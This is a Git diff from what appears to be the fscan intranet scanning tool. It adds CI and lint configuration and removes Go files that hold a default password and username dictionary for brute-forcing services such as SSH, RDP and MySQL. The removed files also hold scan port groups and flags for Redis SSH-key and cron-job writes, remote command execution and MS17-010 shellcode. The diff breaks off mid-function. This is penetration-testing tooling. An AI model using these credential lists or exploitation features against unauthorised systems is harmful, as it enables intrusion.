# 排除第三方grdp库测试(存在环境依赖问题)
|
||||
PKGS=$(go list ./... | grep -v '/libs/grdp/')
|
||||
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS
|
||||
|
||||
- name: 上传覆盖率
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: coverage-report
|
||||
path: coverage.out
|
||||
retention-days: 7
|
||||
|
||||
- name: 显示覆盖率
|
||||
run: |
|
||||
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
- name: 检查覆盖率(质量门禁)
|
||||
run: |
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 提取总体覆盖率(awk 整数比较,不需要 bc)
|
||||
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}')
|
||||
|
||||
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 警告阈值:总体<40%
|
||||
if [ "$TOTAL_COVERAGE" -lt 40 ]; then
|
||||
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
# 检查是否有新增的未测试文件(0%覆盖率)
|
||||
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
|
||||
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
|
||||
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
|
||||
else
|
||||
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
build:
|
||||
name: 构建验证
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 5
|
||||
needs: test
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.25'
|
||||
cache: true
|
||||
|
||||
- name: 构建验证
|
||||
run: |
|
||||
# 只验证能否编译通过,不需要多平台构建
|
||||
echo "🔨 验证 Linux/amd64 构建..."
|
||||
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
|
||||
echo "✅ 构建成功"
|
||||
+100
-1
@@ -1,3 +1,102 @@
|
||||
result.txt
|
||||
main
|
||||
result.json
|
||||
/main
|
||||
.idea
|
||||
fscan.exe
|
||||
/fscan
|
||||
fscanapi.csv
|
||||
|
||||
# IDE files / IDE 文件
|
||||
.vscode/
|
||||
.cursor/
|
||||
.cursorrules
|
||||
.claude/
|
||||
|
||||
# Local development files / 本地开发文件
|
||||
*.local
|
||||
*.tmp
|
||||
*.temp
|
||||
.env
|
||||
.env.local
|
||||
.env.development
|
||||
.env.test
|
||||
.env.production
|
||||
|
||||
# OS files / 操作系统文件
|
||||
.DS_Store
|
||||
.DS_Store?
|
||||
._*
|
||||
.Spotlight-V100
|
||||
.Trashes
|
||||
ehthumbs.db
|
||||
Thumbs.db
|
||||
desktop.ini
|
||||
|
||||
# Logs / 日志文件
|
||||
*.log
|
||||
logs/
|
||||
log/
|
||||
|
||||
# Test coverage / 测试覆盖率
|
||||
coverage.txt
|
||||
coverage.html
|
||||
*.cover
|
||||
*.out
|
||||
coverage*.out
|
||||
|
||||
# Test artifacts / 测试产物
|
||||
*_report.txt
|
||||
*_output.txt
|
||||
*_test_*.txt
|
||||
race_report.txt
|
||||
test_output.txt
|
||||
|
||||
# Build artifacts / 构建产物
|
||||
build/
|
||||
bin/
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
/fscan_cli
|
||||
/fscan_web
|
||||
/embed-agent
|
||||
|
||||
# Web UI build / Web前端构建
|
||||
web-ui/node_modules/
|
||||
web-ui/dist/
|
||||
!web/dist/
|
||||
|
||||
# Go specific / Go 相关
|
||||
vendor/
|
||||
*.test
|
||||
*.prof
|
||||
*.mem
|
||||
*.cpu
|
||||
__debug_bin*
|
||||
go.work
|
||||
go.work.sum
|
||||
|
||||
# Performance profiling / 性能分析
|
||||
profiles/
|
||||
|
||||
# Local development tools / 本地开发工具
|
||||
.air.toml
|
||||
air_tmp/
|
||||
|
||||
# Todo files / Todo文件
|
||||
Todo列表.md
|
||||
*todo*.md
|
||||
*TODO*.md
|
||||
|
||||
# Claude documentation / Claude文档
|
||||
.claude_docs/
|
||||
|
||||
# Cleaner plugin artifacts / 清理插件产物
|
||||
cleanup.bat
|
||||
cleanup.sh
|
||||
cleanup_script_*
|
||||
|
||||
# Compilation objects / 编译对象文件
|
||||
*.o
|
||||
*.a
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
# golangci-lint v2 配置
|
||||
version: "2"
|
||||
|
||||
run:
|
||||
timeout: 5m
|
||||
|
||||
linters:
|
||||
default: none
|
||||
enable:
|
||||
- govet
|
||||
- errcheck
|
||||
- staticcheck
|
||||
- unused
|
||||
- ineffassign
|
||||
- gocyclo
|
||||
- gocognit
|
||||
settings:
|
||||
govet:
|
||||
disable:
|
||||
- printf
|
||||
errcheck:
|
||||
check-type-assertions: true
|
||||
exclude-functions:
|
||||
- (net.Conn).Close
|
||||
- (*os.File).Close
|
||||
- os.Remove
|
||||
- (github.com/hirochachacha/go-smb2.Session).Logoff
|
||||
- (github.com/hirochachacha/go-smb2.Share).Umount
|
||||
gocyclo:
|
||||
min-complexity: 35
|
||||
gocognit:
|
||||
min-complexity: 80
|
||||
exclusions:
|
||||
generated: lax
|
||||
rules:
|
||||
- path: _test\.go
|
||||
linters:
|
||||
- gocyclo
|
||||
- gocognit
|
||||
- errcheck
|
||||
- linters:
|
||||
- govet
|
||||
text: "fieldalignment:"
|
||||
paths:
|
||||
- vendor
|
||||
- testdocker
|
||||
- image
|
||||
- libs/grdp
|
||||
|
||||
issues:
|
||||
max-issues-per-linter: 50
|
||||
max-same-issues: 3
|
||||
@@ -1,107 +0,0 @@
|
||||
package Common
|
||||
|
||||
var version = "2.0.0"
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"}
|
||||
|
||||
var PortGroup = map[string]string{
|
||||
"ftp": "21",
|
||||
"ssh": "22",
|
||||
"findnet": "135",
|
||||
"netbios": "139",
|
||||
"smb": "445",
|
||||
"mssql": "1433",
|
||||
"oracle": "1521",
|
||||
"mysql": "3306",
|
||||
"rdp": "3389",
|
||||
"psql": "5432",
|
||||
"redis": "6379",
|
||||
"fcgi": "9000",
|
||||
"mem": "11211",
|
||||
"mgo": "27017",
|
||||
"ms17010": "445",
|
||||
"cve20200796": "445",
|
||||
"service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017",
|
||||
"db": "1433,1521,3306,5432,6379,11211,27017",
|
||||
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880",
|
||||
"all": "1-65535",
|
||||
"main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017",
|
||||
}
|
||||
var Outputfile = "result.txt"
|
||||
var IsSave = true
|
||||
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
|
||||
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
|
||||
|
||||
type PocInfo struct {
|
||||
Target string
|
||||
PocName string
|
||||
}
|
||||
|
||||
var (
|
||||
Ports string
|
||||
Path string
|
||||
Scantype string
|
||||
Command string
|
||||
SshKey string
|
||||
Domain string
|
||||
Username string
|
||||
Password string
|
||||
Proxy string
|
||||
Timeout int64 = 3
|
||||
WebTimeout int64 = 5
|
||||
TmpSave bool
|
||||
NoPing bool
|
||||
Ping bool
|
||||
Pocinfo PocInfo
|
||||
NoPoc bool
|
||||
IsBrute bool
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
Userfile string
|
||||
Passfile string
|
||||
Hashfile string
|
||||
HostFile string
|
||||
PortFile string
|
||||
PocPath string
|
||||
Threads int
|
||||
URL string
|
||||
UrlFile string
|
||||
Urls []string
|
||||
NoPorts string
|
||||
NoHosts string
|
||||
SC string
|
||||
PortAdd string
|
||||
UserAdd string
|
||||
PassAdd string
|
||||
BruteThread int
|
||||
LiveTop int
|
||||
Socks5Proxy string
|
||||
Hash string
|
||||
Hashs []string
|
||||
HashBytes [][]byte
|
||||
HostPort []string
|
||||
IsWmi bool
|
||||
Noredistest bool
|
||||
)
|
||||
|
||||
var (
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
|
||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
DnsLog bool
|
||||
PocNum int
|
||||
PocFull bool
|
||||
CeyeDomain string
|
||||
ApiKey string
|
||||
Cookie string
|
||||
)
|
||||
@@ -1,93 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"flag"
|
||||
)
|
||||
|
||||
func Banner() {
|
||||
banner := `
|
||||
___ _
|
||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
||||
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
|
||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
||||
fscan version: ` + version + `
|
||||
`
|
||||
print(banner)
|
||||
}
|
||||
|
||||
func Flag(Info *HostInfo) {
|
||||
Banner()
|
||||
|
||||
// 目标配置
|
||||
flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
||||
flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24")
|
||||
flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306")
|
||||
flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389")
|
||||
flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445")
|
||||
|
||||
// 认证配置
|
||||
flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user")
|
||||
flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password")
|
||||
flag.StringVar(&Username, "user", "", "用户名")
|
||||
flag.StringVar(&Password, "pwd", "", "密码")
|
||||
flag.StringVar(&Domain, "domain", "", "域名(用于SMB)")
|
||||
flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)")
|
||||
|
||||
// 扫描配置
|
||||
flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh")
|
||||
flag.IntVar(&Threads, "t", 600, "线程数量")
|
||||
flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)")
|
||||
flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量")
|
||||
flag.BoolVar(&NoPing, "np", false, "禁用存活探测")
|
||||
flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP")
|
||||
flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)")
|
||||
|
||||
// 文件配置
|
||||
flag.StringVar(&HostFile, "hf", "", "主机列表文件")
|
||||
flag.StringVar(&Userfile, "userf", "", "用户名字典")
|
||||
flag.StringVar(&Passfile, "pwdf", "", "密码字典")
|
||||
flag.StringVar(&Hashfile, "hashf", "", "Hash字典")
|
||||
flag.StringVar(&PortFile, "portf", "", "端口列表文件")
|
||||
|
||||
// Web配置
|
||||
flag.StringVar(&URL, "u", "", "目标URL")
|
||||
flag.StringVar(&UrlFile, "uf", "", "URL列表文件")
|
||||
flag.StringVar(&Cookie, "cookie", "", "设置Cookie")
|
||||
flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间")
|
||||
flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理")
|
||||
flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)")
|
||||
|
||||
// POC配置
|
||||
flag.StringVar(&PocPath, "pocpath", "", "POC文件路径")
|
||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic")
|
||||
flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描")
|
||||
flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key")
|
||||
flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证")
|
||||
flag.IntVar(&PocNum, "num", 20, "POC并发数")
|
||||
|
||||
// Redis利用配置
|
||||
flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件")
|
||||
flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务")
|
||||
flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测")
|
||||
|
||||
// 暴力破解配置
|
||||
flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破")
|
||||
flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数")
|
||||
|
||||
// 其他配置
|
||||
flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径")
|
||||
flag.StringVar(&Hash, "hash", "", "Hash值")
|
||||
flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode")
|
||||
flag.BoolVar(&IsWmi, "wmi", false, "启用WMI")
|
||||
|
||||
// 输出配置
|
||||
flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件")
|
||||
flag.BoolVar(&TmpSave, "no", false, "禁用结果保存")
|
||||
flag.BoolVar(&Silent, "silent", false, "静默扫描模式")
|
||||
flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出")
|
||||
flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出")
|
||||
flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔")
|
||||
|
||||
flag.Parse()
|
||||
}
|
||||
-167
@@ -1,167 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"github.com/fatih/color"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 记录扫描状态的全局变量
|
||||
var (
|
||||
Num int64 // 总任务数
|
||||
End int64 // 已完成数
|
||||
Results = make(chan *string) // 结果通道
|
||||
LogSucTime int64 // 最近成功日志时间
|
||||
LogErrTime int64 // 最近错误日志时间
|
||||
WaitTime int64 // 等待时间
|
||||
Silent bool // 静默模式
|
||||
Nocolor bool // 禁用颜色
|
||||
JsonOutput bool // JSON输出
|
||||
LogWG sync.WaitGroup // 日志同步等待组
|
||||
)
|
||||
|
||||
// JsonText JSON输出的结构体
|
||||
type JsonText struct {
|
||||
Type string `json:"type"` // 消息类型
|
||||
Text string `json:"text"` // 消息内容
|
||||
}
|
||||
|
||||
// init 初始化日志配置
|
||||
func init() {
|
||||
log.SetOutput(io.Discard)
|
||||
LogSucTime = time.Now().Unix()
|
||||
go SaveLog()
|
||||
}
|
||||
|
||||
// LogSuccess 记录成功信息
|
||||
func LogSuccess(result string) {
|
||||
LogWG.Add(1)
|
||||
LogSucTime = time.Now().Unix()
|
||||
Results <- &result
|
||||
}
|
||||
|
||||
// SaveLog 保存日志信息
|
||||
func SaveLog() {
|
||||
for result := range Results {
|
||||
// 打印日志
|
||||
if !Silent {
|
||||
if Nocolor {
|
||||
fmt.Println(*result)
|
||||
} else {
|
||||
switch {
|
||||
case strings.HasPrefix(*result, "[+] 信息扫描"):
|
||||
color.Green(*result)
|
||||
case strings.HasPrefix(*result, "[+]"):
|
||||
color.Red(*result)
|
||||
default:
|
||||
fmt.Println(*result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 保存到文件
|
||||
if IsSave {
|
||||
WriteFile(*result, Outputfile)
|
||||
}
|
||||
LogWG.Done()
|
||||
}
|
||||
}
|
||||
|
||||
// WriteFile 写入文件
|
||||
func WriteFile(result string, filename string) {
|
||||
// 打开文件
|
||||
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
|
||||
return
|
||||
}
|
||||
defer fl.Close()
|
||||
|
||||
if JsonOutput {
|
||||
// 解析JSON格式
|
||||
var scantype, text string
|
||||
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
|
||||
index := strings.Index(result[4:], " ")
|
||||
if index == -1 {
|
||||
scantype = "msg"
|
||||
text = result[4:]
|
||||
} else {
|
||||
scantype = result[4 : 4+index]
|
||||
text = result[4+index+1:]
|
||||
}
|
||||
} else {
|
||||
scantype = "msg"
|
||||
text = result
|
||||
}
|
||||
|
||||
// 构造JSON对象
|
||||
jsonText := JsonText{
|
||||
Type: scantype,
|
||||
Text: text,
|
||||
}
|
||||
|
||||
// 序列化JSON
|
||||
jsonData, err := json.Marshal(jsonText)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] JSON序列化失败: %v\n", err)
|
||||
jsonText = JsonText{
|
||||
Type: "msg",
|
||||
Text: result,
|
||||
}
|
||||
jsonData, _ = json.Marshal(jsonText)
|
||||
}
|
||||
jsonData = append(jsonData, []byte(",\n")...)
|
||||
_, err = fl.Write(jsonData)
|
||||
} else {
|
||||
_, err = fl.Write([]byte(result + "\n"))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err)
|
||||
}
|
||||
}
|
||||
|
||||
// LogError 记录错误信息
|
||||
func LogError(errinfo interface{}) {
|
||||
if WaitTime == 0 {
|
||||
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
|
||||
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
|
||||
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
|
||||
LogErrTime = time.Now().Unix()
|
||||
}
|
||||
}
|
||||
|
||||
// CheckErrs 检查是否为已知错误
|
||||
func CheckErrs(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 已知错误列表
|
||||
errs := []string{
|
||||
"closed by the remote host", "too many connections",
|
||||
"i/o timeout", "EOF", "A connection attempt failed",
|
||||
"established connection failed", "connection attempt failed",
|
||||
"Unable to read", "is not allowed to connect to this",
|
||||
"no pg_hba.conf entry",
|
||||
"No connection could be made",
|
||||
"invalid packet size",
|
||||
"bad connection",
|
||||
}
|
||||
|
||||
// 检查错误是否匹配
|
||||
errLower := strings.ToLower(err.Error())
|
||||
for _, key := range errs {
|
||||
if strings.Contains(errLower, strings.ToLower(key)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
-392
@@ -1,392 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Parse(Info *HostInfo) {
|
||||
ParseUser()
|
||||
ParsePass(Info)
|
||||
ParseInput(Info)
|
||||
ParseScantype(Info)
|
||||
}
|
||||
|
||||
// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取
|
||||
func ParseUser() error {
|
||||
// 如果未指定用户名和用户名文件,直接返回
|
||||
if Username == "" && Userfile == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var usernames []string
|
||||
|
||||
// 处理直接指定的用户名列表
|
||||
if Username != "" {
|
||||
usernames = strings.Split(Username, ",")
|
||||
fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames))
|
||||
}
|
||||
|
||||
// 从文件加载用户名列表
|
||||
if Userfile != "" {
|
||||
users, err := Readfile(Userfile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取用户名文件失败: %v", err)
|
||||
}
|
||||
|
||||
// 过滤空用户名
|
||||
for _, user := range users {
|
||||
if user != "" {
|
||||
usernames = append(usernames, user)
|
||||
}
|
||||
}
|
||||
fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users))
|
||||
}
|
||||
|
||||
// 去重处理
|
||||
usernames = RemoveDuplicate(usernames)
|
||||
fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames))
|
||||
|
||||
// 更新用户字典
|
||||
for name := range Userdict {
|
||||
Userdict[name] = usernames
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ParsePass 解析密码、哈希值、URL和端口配置
|
||||
func ParsePass(Info *HostInfo) error {
|
||||
// 处理直接指定的密码列表
|
||||
var pwdList []string
|
||||
if Password != "" {
|
||||
passes := strings.Split(Password, ",")
|
||||
for _, pass := range passes {
|
||||
if pass != "" {
|
||||
pwdList = append(pwdList, pass)
|
||||
}
|
||||
}
|
||||
Passwords = pwdList
|
||||
fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList))
|
||||
}
|
||||
|
||||
// 从文件加载密码列表
|
||||
if Passfile != "" {
|
||||
passes, err := Readfile(Passfile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取密码文件失败: %v", err)
|
||||
}
|
||||
for _, pass := range passes {
|
||||
if pass != "" {
|
||||
pwdList = append(pwdList, pass)
|
||||
}
|
||||
}
|
||||
Passwords = pwdList
|
||||
fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes))
|
||||
}
|
||||
|
||||
// 处理哈希文件
|
||||
if Hashfile != "" {
|
||||
hashes, err := Readfile(Hashfile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取哈希文件失败: %v", err)
|
||||
}
|
||||
|
||||
validCount := 0
|
||||
for _, line := range hashes {
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if len(line) == 32 {
|
||||
Hashs = append(Hashs, line)
|
||||
validCount++
|
||||
} else {
|
||||
fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line)
|
||||
}
|
||||
}
|
||||
fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount)
|
||||
}
|
||||
|
||||
// 处理直接指定的URL列表
|
||||
if URL != "" {
|
||||
urls := strings.Split(URL, ",")
|
||||
tmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if url != "" {
|
||||
if _, ok := tmpUrls[url]; !ok {
|
||||
tmpUrls[url] = struct{}{}
|
||||
Urls = append(Urls, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls))
|
||||
}
|
||||
|
||||
// 从文件加载URL列表
|
||||
if UrlFile != "" {
|
||||
urls, err := Readfile(UrlFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取URL文件失败: %v", err)
|
||||
}
|
||||
|
||||
tmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if url != "" {
|
||||
if _, ok := tmpUrls[url]; !ok {
|
||||
tmpUrls[url] = struct{}{}
|
||||
Urls = append(Urls, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls))
|
||||
}
|
||||
|
||||
// 从文件加载端口列表
|
||||
if PortFile != "" {
|
||||
ports, err := Readfile(PortFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取端口文件失败: %v", err)
|
||||
}
|
||||
|
||||
var newport strings.Builder
|
||||
for _, port := range ports {
|
||||
if port != "" {
|
||||
newport.WriteString(port)
|
||||
newport.WriteString(",")
|
||||
}
|
||||
}
|
||||
Ports = newport.String()
|
||||
fmt.Printf("[*] 已从文件加载端口配置\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Readfile 读取文件内容并返回非空行的切片
|
||||
func Readfile(filename string) ([]string, error) {
|
||||
// 打开文件
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err)
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var content []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
|
||||
// 逐行读取文件内容
|
||||
lineCount := 0
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
content = append(content, text)
|
||||
lineCount++
|
||||
}
|
||||
}
|
||||
|
||||
// 检查扫描过程中是否有错误
|
||||
if err := scanner.Err(); err != nil {
|
||||
fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount)
|
||||
return content, nil
|
||||
}
|
||||
|
||||
// ParseInput 解析和验证输入参数配置
|
||||
func ParseInput(Info *HostInfo) error {
|
||||
// 检查必要的目标参数
|
||||
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
|
||||
fmt.Println("[!] 未指定扫描目标")
|
||||
flag.Usage()
|
||||
return fmt.Errorf("必须指定扫描目标")
|
||||
}
|
||||
|
||||
// 配置基本参数
|
||||
if BruteThread <= 0 {
|
||||
BruteThread = 1
|
||||
fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread)
|
||||
}
|
||||
|
||||
if TmpSave {
|
||||
